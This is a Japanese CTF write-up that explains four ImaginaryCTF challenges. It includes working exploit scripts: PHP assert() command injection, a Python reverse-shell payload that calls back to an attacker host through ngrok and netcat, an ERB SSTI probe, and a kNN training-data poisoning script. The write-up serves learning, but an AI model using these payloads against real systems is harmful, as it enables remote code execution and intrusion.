はじめに
今回は7人チームと過去最大規模のチームで大会に挑みました。
結果としては1457チーム中198位でした。
今回は三重セキュリティミニキャンプに参加した学生さんや私の後輩も参加してくれました。
一緒にCTFをやる人が増えたので、嬉しいです。
私はWebとMiscを中心に解いたので、その中で面白かった問題を解説します。
Web
Journal
ルートページに行くと以下のような画面が表示されます。
file1.txtをクリックするとURLが以下のように変わります。
http://journal.chal.imaginaryctf.org/?file=file1.txt
最初はパストラバーサルかと思い、../../../../etc/passwdなどを試しましたが、WAFに引っかかってダメでした。
配布されたソースコードは以下のindex.phpとDockerfileだけです。
以下にDockerfileの中身を示します。
FROM php:7-apache
RUN /usr/sbin/useradd -u 1000 user
COPY index.php /var/www/html/
RUN chown -R www-data:www-data /var/www/html && \
chmod -R 444 /var/www/html && \
chmod 555 /var/www/html
COPY flag.txt /flag.txt
COPY files /var/www/html/files/
RUN mv /flag.txt /flag-`tr -dc A-Za-z0-9 < /dev/urandom | head -c 20`.txt
VOLUME /var/log/apache2
VOLUME /var/run/apache2
CMD bash -c 'source /etc/apache2/envvars && APACHE_RUN_USER=user APACHE_RUN_GROUP=user /usr/sbin/apache2 -D FOREGROUND'
flagファイルはルートディレクトリにランダムな値のファイル名として格納されていることが分かります。
次にindex.phpのコードを示します。
<?php
echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";
if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;
assert("strpos('$file', '..') === false") or die("Invalid file!");
if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}
echo "</p>";
最終的なパスは./files/$fileになります。
指定したパスが存在しない場合はFile not foundとなります。
WAFではassert関数によるパストラバーサルチェックを行なっていますが、ここであることを思い出しました。
assert関数を使ってphpコードを実行できるというものです。
やることは簡単で、assert関数の第1引数ではphpコードが実行されるので、fileパラメータにstrpos関数からエスケープする文字列を入れた後に、本命のphpコードを記述するだけです。
以下にExploitコードを示します。
import requests
if __name__ == "__main__":
base_url = "http://journal.chal.imaginaryctf.org"
command = "ls /"
flag_file = ""
res = requests.get(base_url + f"/?file=?file=a','NeVeR') === false and system('{command}') and strpos('a")
for line in res.text.split("\n"):
if line.find("flag") == 0:
flag_file = line
print(f"flag file: {flag_file}")
command = f"cat /{flag_file}"
res = requests.get(base_url + f"/?file=?file=a','NeVeR') === false and system('{command}') and strpos('a")
print(res.text)
P2C
ルートページに行くと、以下の画面が表示されます。
適当にpythonコードを記述して実行ボタンを押すと画面の色が変わります。
ソースコードを見てみましょう。
入力したコードはcodeとしてBODYに入れられ、xec関数の第一引数として使用されます。
@app.route('/', methods=["GET", "POST"])
def index():
res = None
if request.method == "POST":
code = request.form["code"]
res = xec(code)
xec関数は以下のようになっています。
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])
file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")
with open(file, "r") as f:
print(f.readlines())
os.system(f"chmod 755 {file}")
try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
print("EXCEPTION OCCURED")
output = None
os.remove(file)
return output
どうやらcodeはmain関数内に埋め込まれ、その返り値をrgb_parseの第一引数に使用しているようです。
そして標準出力にはrgb_parseの返り値が返ってきています。
rgb_parseのコードも見ておきましょう。
import sys
if "random" not in dir():
import random
def rgb_parse(inp=""):
inp = str(inp)
randomizer = random.randint(100, 1000)
total = 0
for n in inp:
n = ord(n)
total += n+random.randint(1, 10)
rgb = total*randomizer*random.randint(100, 1000)
rgb = str(rgb%1000000000)
r = int(rgb[0:3]) + 29
g = int(rgb[3:6]) + random.randint(10, 100)
b = int(rgb[6:9]) + 49
r, g, b = r%256, g%256, b%256
return r, g, b
どうやらmain関数の返り値はrgbの値を生成するために使用されているようです。
xec関数は最終的にrgb_parseの返り値を自身の返り値とします。
先ほどのindex関数の後半を見てみると、xec関数の返り値がrgbというテンプレートの変数に格納されて描画されていることが分かります。
code = request.form["code"]
res = xec(code)
valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
if res == None:
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
if valid.match("".join(res.strip().split("\n")[-1])):
return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
これらの事から、入力されたコードはrbgの値を生成するために使用されている事が分かります。
main関数にコードをサニタイジング無しで埋め込んでいることから、OS Commandインジェクションが可能になります。
ですがsubprocess.runのタイムアウトが0.1に設定されているので、コマンドを実行し、実行結果をrequestcatcherへ送るといったことはできそうにありません。
そこでreverse shellでサーバと自身のPCとの間で違うコネクションを確立させてから、lsコマンドなどで情報を得ようと考えました。
まずngrokでインターネットからのアクセスを通るようにします。
ngrok tcp 8000
次にnetcatでアクセスを待ち受けます。*1
nc -l 0.0.0.0 8000
最後にExploitコードを実行します。
import requests
import sys
if __name__ == "__main__":
ip = sys.argv[1]
port = int(sys.argv[2])
base_url = "http://p2c.chal.imaginaryctf.org/"
payload = f"__import__('os').system(\"\"\"python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'\"\"\")"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"code": payload}
res = requests.post(base_url, headers=headers, data=data)
print(res.text)
するとshellが取れます。
後はフラグを探し出して、出力するだけです。
*1: netcatコマンドはmacのものです。
Crystals
ルートページに行くと以下の画面が表示されます。
フラグはどこにあるのかと探していると、docker-compose.ymlに面白い記述がありました。
version: '3.3'
services:
deployment:
hostname: $FLAG
build: .
ports:
- 10001:80
どうやらフラグはコンテナのホスト名に格納されているらしいです。
とりあえずソースコードを見てみます。
require 'sinatra'
# Route for the index page
get '/' do
erb :index
end
sinatraとerbテンプレートエンジンを使っているということだけ分かりました。
sinatraでは、存在しないパスを指定した際にそのパス名を表示するという仕様があったのを思い出し、試してみました。
さらにパス名を使ってSSTIが可能なのではと思い、それも同時に試しました。
試したパスはhttp://crystals.chal.imaginaryctf.org/<%= 7*7 %>です。
Bad Requestと怒られてしまいました。
それから適当にfuzzingしていると、任意のパラメータにSSTIのペイロードを埋め込むとnginxがエラーを吐きました。
そこにコンテナの名前が記載されており、フラグ取得となりました。
この問題は適当にfuzzingしただけで解けてしまったので、5分で解けました。
かなり拍子抜けです。
一応フラグが取得できた時のURLを以下に示しておきます。
http://crystals.chal.imaginaryctf.org/?exploit=<%= 7*7 %>
Misc
Starship
個人的にかなり面白かった問題です。
まずは問題サーバにアクセスしてみます。
するとプロンプトが出てくるので、適当に動かしてみます。
1を選ぶと学習データらしきものが表示され、2を選ぶと学習データを基に学習を行い、3を選ぶと入力したデータがenemyかfriendlyかを学習データを基に判定し、4は2つのデータがenemyかfriendlyかの判定を行なっているようです。
ここでソースコードを見てみます。
#!/usr/bin/env python3
import pandas as pd
from io import StringIO
from sklearn.neighbors import KNeighborsClassifier
from gen import gen_data
done = False
flag = open("flag.txt").read().strip()
def menu():
print("1. show dataset")
print("2. train model")
print("3. predict state")
print("4. check incoming objects")
def train_dataset(dataset):
df = pd.read_csv(StringIO(dataset))
X, y = df.iloc[:, :-1].values, df.iloc[:, -1].values
model = KNeighborsClassifier(n_neighbors=3)
model.fit(X, y)
return model
if __name__ == "__main__":
print("<[ missle defense system control panel ]>")
menu()
print("initializing...")
while True:
dataset, incoming = gen_data()
model = train_dataset(dataset)
pred1 = model.predict([list(map(int, incoming[0].split(",")))])
pred2 = model.predict([list(map(int, incoming[1].split(",")))])
if pred1[0] == "enemy" and pred2[0] == "enemy":
break
while True:
choice = int(input("> "))
if choice == 1:
print("--- BEGIN DATASET ---")
print(dataset)
print("--- END DATASET ---")
if choice == 2:
model = train_dataset(dataset)
print("model trained!")
if choice == 3:
inp = input("enter data: ")
pred = model.predict([list(map(int, inp.split(",")))])
print(f"result: {pred}")
if choice == 4:
pred1 = model.predict([list(map(int, incoming[0].split(",")))])
pred2 = model.predict([list(map(int, incoming[1].split(",")))])
print(f"target 1: {incoming[0]} | result: {pred1[0]}")
print(f"target 2: {incoming[1]} | result: {pred2[0]}")
if pred1[0] == "friendly" and pred2[0] == "friendly":
print(f"flag: {flag}")
if choice == 42 and not done:
inp = input("enter data: ")
inp = inp.split(",")
for i in range(9):
inp[i] = int(inp[i])
if len(inp) == 10:
dataset = dataset.strip() + "\n" + ",".join(map(str,inp))
done = True
4を入力した時にランダムに選択された2つのデータが両方ともfriendlyであればフラグが出力されることが分かりました。
隠しオプションとして42があり、これは任意の学習データを1つだけ既存の学習データに加えることができるものです。
なので、1つの学習データで2つのデータをenemyからfriendly判定に書き換える必要があります。
私は直感的に2つの値の平均値を入力すれば、両方ともfriendly判定になる確率が高まるのではと考えました。
以下にExploitコードを示します。
from pwn import *
def recv(max_buf_size):
buf = io.recv(max_buf_size).decode("utf-8")
lines = buf.split("\n")
for line in lines:
print(line)
return lines
def retrieve_two_data(buf_lines):
data = []
end_symbol_idx = 0
# 最後の>というプロンプトマークが紛れている事があるので
# 確実に2つのデータが表示されている行だけを抜き取る
buf_lines = buf_lines[:2]
for line in buf_lines:
end_symbol_idx = line.find("|")
data.append(line[10:end_symbol_idx - 1])
for i in range(len(data)):
data[i] = [int(d) for d in data[i].split(",")]
return data
def calc_average(data):
average = []
temp = ""
for i in range(len(data[0])):
average.append(int((data[0][i] + data[1][i]) / 2))
return average
if __name__ == "__main__":
max_buf_size = 1024
two_data = []
average = []
payload = ""
io = remote("starship.chal.imaginaryctf.org", 1337)
recv(max_buf_size)
recv(max_buf_size)
io.sendline(b"4")
two_data = retrieve_two_data(recv(max_buf_size))
average = calc_average(two_data)
payload = ",".join([str(avg) for avg in average]) + ",friendly"
print(two_data)
print(average)
io.sendline(b"42")
recv(max_buf_size)
io.sendline(payload.encode("utf-8"))
recv(max_buf_size)
io.sendline(b"2")
recv(max_buf_size)
io.sendline(b"4")
recv(max_buf_size)
io.close()
実行すると、予想通り両方ともfriendly判定となりフラグが貰えました。*1
*1: 両方friendly判定される確立を上げるだけなので、片方だけしかfriendly判定にならない場合もあります。
おわりに
今回は私が解いた問題の中で面白いと思ったものを解説しました。
大会の感想としては、Webの難しい問題が難しすぎて解けなかったのが悔しかったです。
writeupが出たらしっかりと復習します。
















